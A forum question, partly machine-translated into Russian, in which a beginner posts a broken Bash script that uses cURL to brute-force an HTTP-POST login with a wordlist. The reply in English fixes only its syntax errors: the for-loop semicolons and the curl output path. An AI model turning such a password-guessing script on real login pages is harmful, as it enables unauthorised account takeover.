Атака по словарю в Bash с помощью cURL

1199
Aqueous Computing

Я довольно новичок в Bash, но это сценарий, над которым я работал последние несколько дней. Он предназначен для запуска атаки по словарю на вход HTTP-POST для веб-сайта, читая модуль времени и отправляя запрос на вход на указанный веб-сайт каждые секунды, которые я установил. Однако я сталкиваюсь с проблемами.

echo -e "Initiating password cracking session...\n" echo -e "Seconds per password attempt: \c"  read TIME  if [ "$TIME" -lt "2" ]; then echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.\n" fi  if [ "$TIME" -gt "2" ]; then echo -e "Cracking session will take too long to initiate. Session will continue anyways.\n" fi  function control_c { tput setaf 2; echo -en " Password cracking session deactivated.\n" exit $? }  trap control_c SIGINT  for (( ; ; )) do url="https://examplewebsite.com/login" echo -e "Username: \c"  read user  echo -e "Wordlist: \c"  read pass  for user do for pass in pass do http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%' -o /root/Desktop -s) if [[ $http_code -eq 302 ]]; then echo "Success: User: '$user' Pass: '$pass'" break 2 fi done sleep $TIME done done 

В качестве примечания, у меня абсолютно нулевые знания по cURL, и синтаксис, относящийся к cURL выше, является чисто тем, что я читал на других сайтах. Я получаю сообщение об ошибке: синтаксическая ошибка рядом с неожиданным токеном http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code = $ (curl -L -data user = "$ user" -data password = "$ pass" "$ url" -w '% ' -o / root / Desktop -s) '

Что я делаю не так? Еще раз, я новичок как в Bash, так и в cURL, поэтому, пожалуйста, прости меня, если мой сценарий, кажется, выходит за рамки.

0

1 ответ на вопрос

0
Gombai Sándor

To be short, I intentionally don't mention (many) things you "should" or "shouldn't", just focus on the syntax error.

  • for user do: for in this context must be in the format of for loop_variable in list; do (although I can't see what you would wish to have a loop for here)
  • for pass in pass do: just as in the previous line, the semicolon is missing (or, if you don't like semicolons, you can write do in the next line (but I can't see reasons of a loop here either)

One thing I must mention in addition: -o /root/Desktop would mean "put the output into a file called /root/Desktop". I guess you already have a directory with this name, so you must give the file something different..

Похожие вопросы